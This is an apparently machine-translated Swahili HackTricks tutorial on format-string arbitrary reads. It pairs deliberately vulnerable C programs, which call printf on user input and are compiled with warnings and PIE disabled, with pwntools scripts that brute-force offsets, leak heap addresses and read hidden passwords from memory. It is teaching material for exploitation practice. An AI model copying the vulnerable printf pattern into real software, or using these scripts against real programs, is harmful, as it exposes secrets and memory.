Swahili - Ht
HackTricks Training Twitter Linkedin Sponsor

Format Strings - Arbitrary Read Example

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Anza Kusoma Binary

Kanuni

#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

Itafsiri kwa:

clang -o fs-read fs-read.c -Wno-format-security -no-pie

Kuchexploit

from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())

  • Kisawe ni 11 kwa sababu kuweka As kadhaa na kujaribu kwa nguvu na mzunguko wa kisawe kutoka 0 hadi 50 kuligundua kuwa kwa kisawe cha 11 na na herufi 5 za ziada (mabomba | katika kesi yetu), niwezekanavyo kudhibiti anwani kamili.

  • Nilitumia %11$p na kujaza mpaka nilipoona kuwa anwani ilikuwa 0x4141414141414141

  • Mzigo wa mnyororo wa muundo uko KABLA ya anwani kwa sababu printf inakoma kusoma kwenye baiti tupu, kwa hivyo ikiwa tutatuma anwani kisha mzigo wa mnyororo wa muundo, printf haitafikia mnyororo wa muundo kwani baiti tupu itapatikana kabla

  • Anwani iliyochaguliwa ni 0x00400000 kwa sababu ndipo binary inapoanza (bila PIE)

#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];

printf("Enter first password: ");
scanf("%19s", input1);

printf("Enter second password: ");
scanf("%19s", input2);

// Vulnerable printf
printf(input1);
printf("\n");

// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}

return 0;
}

Itafsiri kwa:

clang -o fs-read fs-read.c -Wno-format-security

Soma kutoka kwenye stack

stack_password itahifadhiwa kwenye stack kwa sababu ni variable ya ndani, hivyo kutumia printf kuonyesha maudhui ya stack ni ya kutosha. Hii ni exploit ya BF ya nafasi 100 za kwanza kufichua nywila kutoka kwenye stack:

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

Katika picha niwezo kuona kwamba tunaweza kuvuja nenosiri kutoka kwenye stack katika nafasi ya 10th:

Soma data

Kwa kutekeleza shambulio sawa lakini kwa kutumia %p badala ya %s niwezo kuvuja anwani ya heap kutoka kwenye stack kwa %25$p. Zaidi ya hayo, kwa kulinganisha anwani iliyovuja (0xaaaab7030894) na nafasi ya nenosiri kwenye kumbukumbu katika mchakato huo tunaweza kupata tofauti za anwani:

Sasa ni wakati wa kutafuta jinsi ya kudhibiti anwani 1 kwenye stack ili kuifikia kutoka kwenye udhaifu wa pili wa neno la muundo:

from pwn import *

def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

for i in range(30):
p = process("./fs-read")

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

password_addr = heap_leak_addr - 0x126a

print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"

p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()

Na niwezekano wa kuona hilo katika jaribio 14 na kutumia kile kilichopitishwa tunaweza kudhibiti anwani:

Kudukua

from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

PreviousFormat StringsNextFormat Strings Template

Last updated